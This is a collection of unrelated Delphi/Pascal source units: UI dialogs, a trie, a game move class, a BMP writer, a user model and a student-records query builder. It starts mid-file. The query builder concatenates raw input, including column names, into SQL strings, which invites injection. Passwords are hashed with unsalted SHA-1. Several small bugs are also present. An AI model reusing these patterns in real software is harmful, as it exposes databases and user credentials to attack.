btnSave.Enabled := false; btnClear.Enabled := false; btnOK.enabled := false; lblFileName.Caption := ''; ImagePanel.caption := '(none)'; end; procedure TfrmOpenPictureDialog.btnSaveClick(Sender: TObject); begin SaveDialog.FileName := GetPath('Save Logo')+Filename; if SaveDialog.Execute then begin Image.Picture.SaveToFile(SaveDialog.Filename); SetPath('Save Logo', ExtractFilePath(SaveDialog.Filename)); end; end; procedure TfrmOpenPictureDialog.FormShow(Sender: TObject); begin if Image.Picture <> nil then CalcDimensions; end; procedure TfrmOpenPictureDialog.FormCreate(Sender: TObject); begin label3.caption := ''; end; end.
unit UTrieTree; interface uses UTrieNode, Classes,ComCtrls; type TTrieTree = class private root: TNode; public constructor Create; procedure push(s :string); function GetWords: Integer; procedure print(treeView:TTreeView); destructor Destroy; override; end; implementation constructor TTrieTree.Create; begin inherited; root := TNode.Create; end; procedure TTrieTree.push(s: string); begin if s<>'' then root.push(s); end; function TTrieTree.GetWords: Integer; begin result := 0; root.GetWord('', result); end; procedure TTrieTree.print(treeView:TTreeView); begin treeView.Items.Clear; root.print(treeView, nil); end; destructor TTrieTree.Destroy; begin root.Free; inherited; end; end.
unit MoveControl; interface uses Math, TypeControl; type TMove = class private FEnginePower: Double; FIsBrake: Boolean; FWheelTurn: Double; FIsThrowProjectile: Boolean; FIsUseNitro: Boolean; FIsSpillOil: Boolean; function GetEnginePower: Double; procedure SetEnginePower(Value: Double); function GetIsBrake: Boolean; procedure SetIsBrake(Value: Boolean); function GetWheelTurn: Double; procedure SetWheelTurn(Value: Double); function GetIsThrowProjectile: Boolean; procedure SetIsThrowProjectile(Value: Boolean); function GetIsUseNitro: Boolean; procedure SetIsUseNitro(Value: Boolean); function GetIsSpillOil: Boolean; procedure SetIsSpillOil(Value: Boolean); public property EnginePower: Double read GetEnginePower write SetEnginePower; property IsBrake: Boolean read GetIsBrake write SetIsBrake; property WheelTurn: Double read GetWheelTurn write SetWheelTurn; property IsThrowProjectile: Boolean read GetIsThrowProjectile write SetIsThrowProjectile; property IsUseNitro: Boolean read GetIsUseNitro write SetIsUseNitro; property IsSpillOil: Boolean read GetIsSpillOil write SetIsSpillOil; constructor Create; destructor Destroy; override; end; TMoveArray = array of TMove; implementation function TMove.GetEnginePower: Double; begin Result := FEnginePower; end; procedure TMove.SetEnginePower(Value: Double); begin FEnginePower := Value; end; function TMove.GetIsBrake: Boolean; begin Result := FIsBrake; end; procedure TMove.SetIsBrake(Value: Boolean); begin FIsBrake := Value; end; function TMove.GetWheelTurn: Double; begin Result := FWheelTurn; end; procedure TMove.SetWheelTurn(Value: Double); begin FWheelTurn := wheelTurn; end; function TMove.GetIsThrowProjectile: Boolean; begin Result := FIsThrowProjectile; end; procedure TMove.SetIsThrowProjectile(Value: Boolean); begin FIsThrowProjectile := Value; end; function TMove.GetIsUseNitro: Boolean; begin Result := FisUseNitro; end; procedure TMove.SetIsUseNitro(Value: Boolean); begin FIsUseNitro := Value; end; function TMove.GetIsSpillOil: Boolean; begin Result := FIsSpillOil; end; procedure TMove.SetIsSpillOil(Value: Boolean); begin FIsSpillOil := Value; end; constructor TMove.Create; begin FEnginePower := 0.0; FIsBrake := False; FWheelTurn := 0.0; FIsThrowProjectile := False; FIsUseNitro := False; FIsSpillOil := False; end; destructor TMove.Destroy; begin inherited; end; end.
unit FSeting; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls, AppInfo; type TfrmSeting = class(TForm) PageControl1: TPageControl; TabSheet1: TTabSheet; TabSheet2: TTabSheet; Button1: TButton; Button2: TButton; Label1: TLabel; txtServer: TEdit; GroupBox1: TGroupBox; chkNeedLogin: TCheckBox; Label2: TLabel; Label3: TLabel; txtLoginPass: TEdit; GroupBox2: TGroupBox; Label4: TLabel; txtProxyServer: TEdit; Label5: TLabel; txtProxyPort: TEdit; txtLoginUser: TEdit; chkUseProxy: TCheckBox; TabSheet3: TTabSheet; chkUserSkin: TCheckBox; lstSkin: TListBox; Label6: TLabel; procedure Button2Click(Sender: TObject); procedure FormShow(Sender: TObject); procedure chkNeedLoginClick(Sender: TObject); procedure chkUseProxyClick(Sender: TObject); procedure Button1Click(Sender: TObject); procedure chkUserSkinClick(Sender: TObject); procedure lstSkinDblClick(Sender: TObject); private FAppName: string; FAppInfo: TAppInfo; procedure SetAppName(const Value: string); Procedure GetSkinList; { Private declarations } public //SkinRef: TSkinData; destructor Destory; property AppName: string read FAppName write SetAppName; { Public declarations } end; var frmSeting: TfrmSeting; implementation {$R *.dfm} procedure TfrmSeting.Button2Click(Sender: TObject); begin Close(); end; procedure TfrmSeting.SetAppName(const Value: string); begin // TODO -cMM: TfrmSeting.SetAppName default body inserted FAppName := Value; if (not Assigned(FAppInfo)) then FAppInfo := TIniAppInfo.Create(ExtractFilePath(Application.ExeName) + 'UpdateApps.ini', FAppName) else FAppInfo.AppName := Value; end; procedure TfrmSeting.FormShow(Sender: TObject); begin GetSkinList; txtServer.Text := FAppInfo.UpdateServer; if (FAppInfo.LoginUser <> '') then begin chkNeedLogin.Checked := true; txtLoginUser.Text := FAppInfo.LoginUser; txtLoginPass.Text := FAppInfo.LoginPass; end else begin chkNeedLogin.Checked := false; txtLoginUser.Text := ''; txtLoginPass.Text := ''; end; if (FAppInfo.ProxyServer <> '') then begin chkUseProxy.Checked := true; txtProxyServer.Text := FAppInfo.ProxyServer; txtProxyPort.Text := FAppInfo.ProxyPort; end else begin chkUseProxy.Checked := false; txtProxyServer.Text := ''; txtProxyPort.Text := ''; end; end; procedure TfrmSeting.chkNeedLoginClick(Sender: TObject); begin txtLoginUser.Enabled := chkNeedLogin.Checked; txtLoginPass.Enabled := chkNeedLogin.Checked; end; procedure TfrmSeting.chkUseProxyClick(Sender: TObject); begin txtProxyServer.Enabled := chkUseProxy.Checked; txtProxyPort.Enabled := chkUseProxy.Checked; end; procedure TfrmSeting.Button1Click(Sender: TObject); begin FAppInfo.UpdateServer := trim(txtServer.Text); {if (chkNeedLogin.Checked) then begin FAppInfo.LoginUser := Trim(txtLoginUser.Text); FAppInfo.LoginPass := Trim(txtLoginPass.Text); end else begin FAppInfo.LoginUser := ''; FAppInfo.LoginPass := ''; end;} if (chkUseProxy.Checked) then begin FAppInfo.ProxyServer := Trim(txtProxyServer.Text); FAppInfo.ProxyPort := Trim(txtProxyPort.Text); end else begin FAppInfo.ProxyServer := ''; FAppInfo.ProxyPort := ''; end; Close(); end; destructor TfrmSeting.Destory; begin // TODO -cMM: TfrmSeting.Destory default body inserted if Assigned(FAppInfo) then FreeAndNil(FAppInfo); inherited; end; procedure TfrmSeting.GetSkinList; var Paths: String; begin // if SkinRef.SkinFile <> '' then // begin // chkUserSkin.Checked := true; // lstSkin.ItemIndex := lstSkin.Items.IndexOf(SkinRef.SkinFile); // end // else // chkUserSkin.Checked := false; // // lstSkin.Enabled := chkUserSkin.Checked; // lstSkin.Items.Clear; Paths := ExtractFilePath(Application.ExeName) + 'Skins\*.*'; // 取得Skin文件列表 lstSkin.Perform(LB_DIR, DDL_ARCHIVE or DDL_EXCLUSIVE or DDL_READWRITE, Integer(Pchar(Paths))); end; procedure TfrmSeting.chkUserSkinClick(Sender: TObject); begin lstSkin.Enabled := chkUserSkin.Checked; // if not chkUserSkin.Checked then // begin // SkinRef.SkinFile := ''; // if SkinRef.Active then // SkinRef.Active := false; // end; end; procedure TfrmSeting.lstSkinDblClick(Sender: TObject); begin // try // SkinRef.SkinFile := 'Skins\' + lstSkin.Items[lstSkin.ItemIndex]; // if not SkinRef.Active then // SkinRef.Active := true; // except // Application.MessageBox('启用皮肤错误', '系统提示'); // end; end; end.
unit Dialog_EditCate; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,Class_Dict, Mask, RzEdit,Class_Cate,ADODB,Class_DBPool; type TDialogEditCate = class(TForm) Button1: TButton; Button2: TButton; CheckBox1: TCheckBox; Label1: TLabel; Label2: TLabel; Edit_Code: TRzEdit; Edit_Name: TRzEdit; Label3: TLabel; procedure FormShow(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private FEditCode:Integer; FPrevCate:TCate; FDictRule:TDict; protected procedure SetInitialize; procedure SetCommonParams; public function CheckLicit:Boolean; procedure DoSaveDB; procedure InsertDB; procedure UpdateDB; procedure RendCate; public function GetActiveCodeLink:string; function GetActiveNameLink:string; function GetActiveCateLevl:Integer; function GetActivePrevIdex:Integer; end; var DialogEditCate: TDialogEditCate; function FuncEditCate(AEditCode:Integer;APrevCate:TCate;ADictRule:TDict):Integer; implementation uses UtilLib_UiLib,Dialog_ListCate; {$R *.dfm} function FuncEditCate(AEditCode:Integer;APrevCate:TCate;ADictRule:TDict):Integer; begin try DialogEditCate:=TDialogEditCate.Create(nil); DialogEditCate.FEditCode:=AEditCode; DialogEditCate.FPrevCate:=APrevCate; DialogEditCate.FDictRule:=ADictRule; Result:=DialogEditCate.ShowModal; finally FreeAndNil(DialogEditCate); end; end; procedure TDialogEditCate.SetCommonParams; const ArrCaption:array[0..1] of string=('新建分类','编辑分类'); begin Caption:=ArrCaption[FEditCode]; Edit_Code.SetFocus; end; procedure TDialogEditCate.SetInitialize; begin SetCommonParams; if FEditCode=1 then begin RendCate; end; end; procedure TDialogEditCate.FormShow(Sender: TObject); begin SetInitialize; end; procedure TDialogEditCate.FormCreate(Sender: TObject); begin UtilLib_UiLib.SetCommonDialogParams(Self); end; procedure TDialogEditCate.Button1Click(Sender: TObject); begin DoSaveDB; end; procedure TDialogEditCate.DoSaveDB; begin if not CheckLicit then Exit; case FEditCode of 0:InsertDB; 1:UpdateDB; end; end; procedure TDialogEditCate.InsertDB; var ACate :TCate; ADOCon:TADOConnection; begin ADOCon:=TDBPool.GetConnect(); ACate :=TCate.Create; ACate.CateKind:=FDictRule.DictCode; ACate.CateIdex:=ACate.GetNextCode(ADOCon); ACate.CateCode:=Trim(Edit_Code.Text); ACate.NameLink:=GetActiveNameLink; ACate.CateName:=Trim(Edit_Name.Text); ACate.PrevIdex:=GetActivePrevIdex; ACate.CodeLink:=GetActiveCodeLink; ACate.CateLevl:=GetActiveCateLevl; ACate.InsertDB(ADOCon); ShowMessage('保存成功'); DialogListCate.RendStrsCate; Edit_Code.Clear; Edit_Name.Clear; end; procedure TDialogEditCate.UpdateDB; var ADOCon:TADOConnection; begin ADOCon:=TDBPool.GetConnect(); FPrevCate.NameLink:=GetActiveNameLink; FPrevCate.CateName:=Trim(Edit_Name.Text); FPrevCate.UpdateDB(ADOCon); ShowMessage('更新成功'); ModalResult:=mrOk; end; function TDialogEditCate.CheckLicit: Boolean; begin Result:=False; // Result:=True; end; function TDialogEditCate.GetActiveCodeLink: string; var Temp:string; begin Result:=Trim(Edit_Code.Text); if GetActiveCateLevl=1 then Exit; if CheckBox1.Checked then begin Result:=FPrevCate.CodeLink+'-'+Result; end else begin Temp :=TCate.GetPrevCodeLink(GetActiveCateLevl,FPrevCate.CodeLink,FDictRule.DictValu); Result:=Temp+'-'+Result; end; end; function TDialogEditCate.GetActiveNameLink: string; var Temp:string; begin Result:=Trim(Edit_Name.Text); if GetActiveCateLevl=1 then Exit; if FEditCode=0 then begin if CheckBox1.Checked then begin Result:=FPrevCate.NameLink+'\'+Result; end else begin Result:=Copy(FPrevCate.NameLink,1,Length(FPrevCate.NameLink)-Length(FPrevCate.CateName)-1)+'\'+Result; end; end else begin Temp:=FPrevCate.CateName; Result:=Copy(FPrevCate.NameLink,1,Length(FPrevCate.NameLink)-Length(Temp)-1)+'\'+Result; end; end; function TDialogEditCate.GetActiveCateLevl: Integer; begin Result:=1; if FPrevCate=nil then Exit; if FEditCode=0 then begin Result:=FPrevCate.CateLevl; if CheckBox1.Checked then begin Result:=Result+1; end; end else if FEditCode=1 then begin Result:=FPrevCate.CateIdex; end; end; function TDialogEditCate.GetActivePrevIdex: Integer; begin Result:=-1; if FPrevCate=nil then Exit; if CheckBox1.Checked then begin Result:=FPrevCate.CateIdex; end else begin Result:=FPrevCate.PrevIdex; end; end; procedure TDialogEditCate.Button2Click(Sender: TObject); begin ModalResult:=mrCancel; end; procedure TDialogEditCate.RendCate; begin Edit_Name.Text:=FPrevCate.CateName; Edit_Code.Text:=FPrevCate.CateCode; CheckBox1.Visible:=False; Edit_Code.Enabled:=False; end; end.
(* * FPG EDIT : Edit FPG file from DIV2, FENIX and CDIV * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * *) unit uBMP; interface uses LCLIntf, LCLType, Forms, SysUtils, Classes, Dialogs, graphics, FileUtil, ComCtrls; type uBMP_header = record code : Array [0 .. 1] of char; size, reserved, header_size, rest_header, width, height : Integer; reserved0, bits_per_pixel : word; reserved1, body_size, reserved2, reserved3 : Integer; reserved4 : Array [0 .. 7] of byte; end; var BMP_header : uBMP_header; BMP_palette: Array [0 .. 1023] of byte; function load_BMP_header (str : string): Boolean; procedure save_BMP(var bmp : TBitMap; str: string; var frmMain : TForm; var gFPG: TProgressBar ); function is_BMP : Boolean; implementation function load_BMP_header(str : string): boolean; var f : TFileStream; begin result := false; if not FileExistsUTF8(str) { *Converted from FileExists* } then Exit; f := TFileStream.Create(str, fmOpenRead); f.Read(BMP_header.code, 2); f.Read(BMP_header.size, 4); f.Read(BMP_header.reserved, 4); f.Read(BMP_header.header_size, 4); f.Read(BMP_header.rest_header, 4); f.Read(BMP_header.width, 4); f.Read(BMP_header.height, 4); f.Read(BMP_header.reserved0, 2); f.Read(BMP_header.bits_per_pixel, 2); f.Read(BMP_header.reserved1, 4); f.Read(BMP_header.body_size, 4); f.Read(BMP_header.reserved2, 4); f.Read(BMP_header.reserved3, 4); f.Read(BMP_header.reserved4, 8); f.free; result := true; end; function is_BMP : Boolean; begin is_BMP := false; if (BMP_header.code[0] = 'B') and (BMP_header.code[1] = 'M') and (BMP_header.bits_per_pixel = 8) then is_BMP := true; end; procedure save_BMP(var bmp : TBitMap; str: string; var frmMain : TForm; var gFPG: TProgressBar ); var f : TFileStream; temp_longint, i, j, size : longint; sep : Byte; data : Array [0 .. 65000] of Byte; begin sep := bmp.Width mod 4; size := (bmp.Width * 3) + sep; try f := TFileStream.Create(str, fmCreate); except ShowMessage('SAVE_BMP : Can''t create : '+ str); Exit; end; f.Write('BM', 2); temp_longint := (bmp.Width * bmp.Height * 3) + 54 + (bmp.Height * sep); f.Write(temp_longint, 4); temp_longint := 0; f.Write(temp_longint, 4); temp_longint := 54; f.Write(temp_longint, 4); temp_longint := 40; f.Write(temp_longint, 4); temp_longint := bmp.Width; f.Write(temp_longint, 4); temp_longint := bmp.Height; f.Write(temp_longint, 4); temp_longint := 1; f.Write(temp_longint, 2); temp_longint := 24; f.Write(temp_longint, 2); temp_longint := 0; f.Write(temp_longint, 4); temp_longint := 0; f.Write(temp_longint, 4); temp_longint := 3000; f.Write(temp_longint, 4); temp_longint := 3000; f.Write(temp_longint, 4); temp_longint := 0; f.Write(temp_longint, 4); temp_longint := 0; f.Write(temp_longint, 4); temp_longint := 0; gFPG.Position := 0; gFPG.Show; gFPG.Repaint; for j := bmp.Height - 1 downto 0 do begin for i := 0 to bmp.Width - 1 do begin data[ (i * 3) ] := GetBValue(bmp.Canvas.Pixels[i, j]); data[ (i * 3) + 1 ] := GetGValue(bmp.Canvas.Pixels[i, j]); data[ (i * 3) + 2 ] := GetRValue(bmp.Canvas.Pixels[i, j]); end; for i := bmp.Width * 3 to size do data[ i ] := 0; f.Write(data, size); // Activamos la barra de progresión gFPG.Position:= ((bmp.Height - 1 - j) * 100) div (bmp.Height - 1); gFPG.Repaint; end; gFPG.Hide; f.free; end; end.
unit uUsuarioModel; interface uses uGenericEntity, IdHashSHA; type TUsuarioModel = class private FCodigo: Integer; FNome: String; FSenha: String; FAdministrador: Boolean; FCPF: String; FCelular: String; procedure SetAdministrador(const Value: Boolean); procedure SetCelular(const Value: String); procedure SetCodigo(const Value: Integer); procedure SetCPF(const Value: String); procedure SetNome(const Value: String); procedure SetSenha(const Value: String); public property Codigo: Integer read FCodigo write SetCodigo; property Nome: String read FNome write SetNome; property Senha: String read FSenha write SetSenha; property Administrador: Boolean read FAdministrador write SetAdministrador; property CPF: String read FCPF write SetCPF; property Celular: String read FCelular write SetCelular; constructor Create(ACodigo: Integer = 0; ANome: String = ''); end; implementation uses SysUtils; { TUsuarioModel } constructor TUsuarioModel.Create(ACodigo: Integer; ANome: String); begin FCodigo := ACodigo; FNome := ANome; end; procedure TUsuarioModel.SetAdministrador(const Value: Boolean); begin FAdministrador := Value; end; procedure TUsuarioModel.SetCelular(const Value: String); begin FCelular := Value; end; procedure TUsuarioModel.SetCodigo(const Value: Integer); begin FCodigo := Value; end; procedure TUsuarioModel.SetCPF(const Value: String); begin FCPF := Value; end; procedure TUsuarioModel.SetNome(const Value: String); begin FNome := Value; end; procedure TUsuarioModel.SetSenha(const Value: String); var SHA1: TIdHashSHA1; begin SHA1 := TIdHashSHA1.Create; try FSenha := SHA1.HashStringAsHex(Value); finally FreeAndNil(SHA1); end; end; end.
unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Data.Bind.GenData, Vcl.Bind.Editors, Data.Bind.EngExt, Vcl.Bind.DBEngExt, Data.Bind.Components, Vcl.StdCtrls, Data.Bind.ObjectScope, System.Rtti, System.Bindings.Outputs; type TForm1 = class(TForm) PrototypeBindSource1: TPrototypeBindSource; Edit1: TEdit; editOutput: TEdit; cbFormat: TComboBox; BindingsList1: TBindingsList; LinkControlToField1: TLinkControlToField; LinkControlToEditOutput: TLinkControlToField; Label1: TLabel; Label2: TLabel; Label3: TLabel; procedure cbFormatChange(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.cbFormatChange(Sender: TObject); begin LinkControlToEditOutput.CustomFormat := cbFormat.Text; end; end.
//*********************************************************************** //* Проект "Студгородок" * //* Добавление льготы * //*********************************************************************** unit uSp_limit_AE; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxLookAndFeelPainters, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData, cxDataStorage, cxEdit, DB, cxDBData, cxCalendar, cxCurrencyEdit, cxGridLevel, cxGridCustomTableView, cxGridTableView, cxClasses, cxControls, cxGridCustomView, cxGridDBTableView, cxGrid, Buttons, cxCheckBox, cxTextEdit, cxLabel, cxContainer, cxGroupBox, StdCtrls, cxButtons, FIBDataSet, pFIBDataSet, st_ConstUnit, uSp_limit_DM, st_common_funcs, iBase, st_Common_Messages, st_Consts_Messages, st_common_types, cxMaskEdit, cxDropDownEdit, cxButtonEdit, St_Loader_Unit, st_common_loader; type Tfrm_limit_AE = class(TForm) cxGroupBox1: TcxGroupBox; OKButton: TcxButton; CancelButton: TcxButton; Label_koef: TcxLabel; CurrencyEdit_tarif: TcxCurrencyEdit; DateEdit_beg: TcxDateEdit; DateEdit_end: TcxDateEdit; cxLabel1: TcxLabel; cxLabel2: TcxLabel; procedure CancelButtonClick(Sender: TObject); procedure OKButtonClick(Sender: TObject); procedure MedCheckKeyPress(Sender: TObject; var Key: Char); private PLanguageIndex: byte; procedure FormIniLanguage; public aHandle : TISC_DB_HANDLE; is_admin : Boolean; id_build : Int64; id_service : int64; DM : Tfrm_limit_DM; constructor Create(aOwner : TComponent; aHandle : TISC_DB_HANDLE; id_build : int64);reintroduce; end; var frm_limit_AE: Tfrm_limit_AE; implementation {$R *.dfm} procedure Tfrm_limit_AE.FormIniLanguage(); begin // индекс языка (1-укр, 2 - рус) PLanguageIndex:= stLanguageIndex; //названия кнопок OKButton.Caption := st_ConstUnit.st_Accept[PLanguageIndex]; CancelButton.Caption := st_ConstUnit.st_Cancel[PLanguageIndex]; end; procedure Tfrm_limit_AE.CancelButtonClick(Sender: TObject); begin Close; end; procedure Tfrm_limit_AE.OKButtonClick(Sender: TObject); begin if DateEdit_end.EditValue <= DateEdit_beg.EditValue then Begin ShowMessage('Дата початку повинна бути менше дати закінчення!'); DateEdit_beg.SetFocus; exit; end; ModalResult := mrOK; end; procedure Tfrm_limit_AE.MedCheckKeyPress(Sender: TObject; var Key: Char); begin if Key = #13 then OKButton.SetFocus; end; constructor Tfrm_limit_AE.Create(aOwner: TComponent; aHandle: TISC_DB_HANDLE; id_build: int64); begin inherited Create(aOwner); self.aHandle := aHandle; DM := Tfrm_limit_DM.Create(self); DM.DB.Handle := aHandle; DM.DB.Connected := True; DM.Transaction_Read.StartTransaction; FormIniLanguage; end; end.
unit unitModel; {$mode delphi} interface uses Classes, SysUtils; type { TDiscipline } { TDisciplineManager} // Class for represent what it is in database TDisciplineManager = class private // attribute privates public // attribute publics id_disciplina : integer; class function GetAll(): string; class function Insert(nome_disciplina: string; nome_curso: string):string; class function Update(nome: string; valor : string; id : string): string; class function GetAllExcludedCode(): string; class function GetCursoCodigoByID(id_disciplina : string): string; class function GetID(nome_disciplina : string; nome_curso: string): string; class function GetNomeDisciplinaById(id_disciplina : string): string; end; { TStudentManager } // Class for represent what it is in database TStudentManager = class private public class function GetAll(): string; class function GetAllFilterByField(field: string): string; class function Insert(rga: string; nome_aluno: string): string; class function GetID(nome : string): string; class function GetCount() : string; class function GetNameByID(id_aluno : string) : string; end; // class for represent periodo what it is in databases { TMatriculaManager } TMatriculaManager = class private public class function Insert(nome_periodo: string; id_disciplina: string; id_aluno : string) : string; class function GetAllFilterByDisciplinaAndByPeriodo(id_disciplina : string; nome_periodo : string) : string; class function GetCountByIdAluno(id_disciplina: string) : string; class function GetId_AlunoById_matricula(id_matricula : string): string; class function GetId_DisciplinaById_aluno(id_aluno : string) : string; end; { TNotaManager } TNotaManager = class private public class function Insert(id_matricula : string; ponto : string; rotulo : string): string; class function GetLast() : string; class function GetAllEvaluation(id_matricula : string) : string; end; { TClassManager } TClassManager = class // aula private public class function Insert(data: string;conteudo : string; rotulo : string) : string; class function CountDate(data : string) : string; class function GetLast() : string; class function GetData(id_aula : string) : string; end; { TFrequence } TFrequence = class private public Fstatus : integer;// 0 = P e 1 = F FId_frequencia : integer; FId_matricula : integer; constructor Create(id_matricula : integer; status : integer); end; { TFrequenceManager } TFrequenceManager = class private public class function Insert(status : string; id_matricula : string; id_aula : string): string; class function GetLast() : string; class function GetCountLack(id_matricula : string) : string; class function GetAllFilterByMatricula(id_matricula : string) : string; end; function ReplaceChar(const query: string; oldchar, newchar: char): string; implementation function ReplaceChar(const query: string; oldchar, newchar: char): string; var i: Integer; begin Result := query; for i := 1 to Length(Result) do if Result[i] = oldchar then Result[i] := newchar; end; { TNotaManager } class function TNotaManager.Insert(id_matricula: string; ponto: string; rotulo : string) : string; begin // insert into nota(id_aluno,ponto) values(13,7.75); Result := 'INSERT INTO NOTA(id_matricula,ponto,rotulo) VALUES("'+id_matricula+'","'+ReplaceChar(ponto,',','.')+'","'+rotulo+'")'; end; class function TNotaManager.GetLast: string; begin // select MAX(id_nota), n.ponto, rotulo, n.id_matricula FROM NOTA n; Result := 'SELECT MAX(id_nota),n.ponto,rotulo, n.id_matricula FROM NOTA n'; end; class function TNotaManager.GetAllEvaluation(id_matricula: string): string; begin Result := 'SELECT rotulo,ponto FROM NOTA WHERE id_matricula = "'+id_matricula+'"'; end; { TClassManager } class function TClassManager.Insert(data: string;conteudo : string; rotulo : string): string; begin Result := 'INSERT INTO AULA(data,conteudo,rotulo) VALUES("'+data+'","'+conteudo+'",'+rotulo+') '; end; class function TClassManager.CountDate(data: string): string; begin Result := 'SELECT COUNT(data) FROM AULA WHERE data = "+data+"'; end; class function TClassManager.GetLast: string; begin Result := 'SELECT MAX(id_aula) FROM AULA'; end; class function TClassManager.GetData(id_aula : string): string; begin Result := 'SELECT data FROM AULA WHERE id_aula = '+id_aula; end; { TFrequenceManager } class function TFrequenceManager.Insert(status : string; id_matricula : string; id_aula : string): string; begin Result := 'INSERT INTO FREQUENCIA(status,id_matricula,id_aula) VALUES("'+status+'","'+id_matricula+'","'+id_aula+'")'; end; class function TFrequenceManager.GetLast: string; begin Result := 'SELECT MAX(id_frequencia) FROM FREQUENCIA'; end; class function TFrequenceManager.GetCountLack(id_matricula: string): string; begin // SELECT COUNT(status) FROM FREQUENCIA WHERE status = 1 and id_matricula = "6"; Result := 'SELECT COUNT(status) FROM FREQUENCIA WHERE status = "-1" and id_matricula = "'+id_matricula+'"'; end; class function TFrequenceManager.GetAllFilterByMatricula(id_matricula: string ): string; begin Result := 'SELECT id_aula FROM FREQUENCIA WHERE id_matricula = '+id_matricula; end; { TFrequence } constructor TFrequence.Create(id_matricula: integer; status: integer); begin FId_matricula:= id_matricula; Fstatus:= status; FId_frequencia:= 0; end; { TPeriodoManager } class function TMatriculaManager.Insert(nome_periodo: string; id_disciplina: string; id_aluno: string ): string; var aux : integer; aux2 : integer; begin aux := StrToInt(id_aluno); aux2 := StrToInt(id_disciplina); Result := 'INSERT INTO MATRICULA(nome_periodo,id_disciplina,id_aluno) VALUES("'+nome_periodo+'", '+intToStr(aux2)+', '+intToStr(aux)+')'; end; class function TMatriculaManager.GetAllFilterByDisciplinaAndByPeriodo( id_disciplina: string; nome_periodo: string): string; begin (* SELECT a.id_matricula,id_aluno FROM MATRICULA a WHERE id_disciplina = "6" and a.nome_periodo = "2017/1"; *) Result := 'SELECT a.id_matricula,id_aluno FROM MATRICULA a WHERE id_disciplina = "'+id_disciplina+'" and a.nome_periodo = "'+nome_periodo+'" '; end; class function TMatriculaManager.GetCountByIdAluno(id_disciplina : string): string; begin Result := 'SELECT count(id_aluno) FROM matricula m where m.id_disciplina = "'+id_disciplina+'"'; end; class function TMatriculaManager.GetId_AlunoById_matricula(id_matricula: string ): string; begin Result := 'SELECT id_aluno FROM MATRICULA WHERE id_matricula = '+id_matricula+''; end; class function TMatriculaManager.GetId_DisciplinaById_aluno(id_aluno: string ): string; begin Result := 'SELECT id_disciplina FROM MATRICULA WHERE id_aluno = '+id_aluno+''; end; { TStudentManager } class function TStudentManager.GetAll: string; begin Result:= 'SELECT * FROM ALUNO'; end; class function TStudentManager.GetCount() : string; begin Result := 'SELECT count(*) FROM ALUNO ' end; class function TStudentManager.GetNameByID(id_aluno: string): string; begin // SELECT a.nome_aluno FROM ALUNO a WHERE a.id_aluno = "10"; Result := 'SELECT a.nome_aluno FROM ALUNO a WHERE a.id_aluno = "'+id_aluno+'"'; end; class function TStudentManager.GetAllFilterByField(field: string): string; begin (* ** Exemplo of select: *SELECT a.nome_aluno FROM ALUNO a, DISCIPLINA d, MATRICULA m WHERE d.id_disciplina = m.id_disciplina and a.id_aluno = m.id_aluno and d.id_disciplina = 5; *) Result:= 'SELECT a.'+field+' FROM ALUNO a'; end; class function TStudentManager.Insert(rga: string; nome_aluno: string): string; begin Result:= 'INSERT INTO ALUNO(rga,nome_aluno) VALUES("'+rga+'","'+nome_aluno+'")'; end; class function TStudentManager.GetID(nome: string): string; begin // exemple: SELECT id_aluno FROM ALUNO WHERE rga = "201511722004" Result := 'SELECT id_aluno FROM ALUNO WHERE rga = "'+nome+'"'; end; { TDisplina } class function TDisciplineManager.GetAll: string; begin Result:= 'SELECT * FROM DISCIPLINA'; end; // filter per attribute e show all data that attribute class function TDisciplineManager.GetAllExcludedCode(): string; begin Result:= 'SELECT d.id_disciplina, d.nome_disciplina, d.nome_curso FROM DISCIPLINA d'; end; class function TDisciplineManager.Insert(nome_disciplina: string; nome_curso: string): string; begin Result := 'INSERT INTO DISCIPLINA(nome_disciplina,nome_curso,codigo) VALUES("'+nome_disciplina+'","'+nome_curso+'","0")'; end; class function TDisciplineManager.GetCursoCodigoByID(id_disciplina : string): string; begin Result := 'SELECT nome_curso, codigo,nome_disciplina FROM DISCIPLINA WHERE id_disciplina = '+id_disciplina; end; class function TDisciplineManager.GetID(nome_disciplina: string; nome_curso: string): string; begin Result := 'SELECT id_disciplina FROM DISCIPLINA WHERE nome_disciplina = "'+nome_disciplina+'" and nome_curso = "'+nome_curso+'" '; end; class function TDisciplineManager.GetNomeDisciplinaById(id_disciplina: string ): string; begin Result := 'SELECT nome_disciplina FROM DISCIPLINA WHERE id_disciplina = '+id_disciplina+''; end; class function TDisciplineManager.Update(nome: string; valor : string; id : string): string; begin //exemplo: UPDATE disciplina set nome_curso = "Comp" where id_disciplina = 4; // UPDATE disciplina set nome_disciplina = "Algebra Comp" where id_disciplina = 4; Result := 'UPDATE DISCIPLINA SET '+nome+' = "'+valor+'" WHERE id_disciplina = "'+id+'"'; end; end. // ended implementation
